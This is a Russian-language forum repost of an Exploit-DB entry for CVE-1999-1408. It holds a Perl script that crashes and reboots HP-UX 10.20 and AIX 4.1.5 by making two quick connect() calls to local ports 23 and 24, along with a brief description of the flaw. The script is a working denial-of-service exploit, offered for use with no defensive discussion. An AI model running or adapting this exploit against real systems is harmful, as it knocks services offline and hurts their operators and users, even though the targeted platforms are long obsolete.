Exploit HP HP-UX 10.20 / IBM AIX 4.1.5 - 'connect()' Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19278
Проверка EDB
  1. Пройдено
Автор
CAHYA WIRAWAN
Тип уязвимости
DOS
Платформа
HP-UX
CVE
cve-1999-1408
Дата публикации
1997-03-05
HP HP-UX 10.20 / IBM AIX 4.1.5 - 'connect()' Denial of Service
Код:
source: https://www.securityfocus.com/bid/352/info


Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter. 

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
 
Источник
www.exploit-db.com

Похожие темы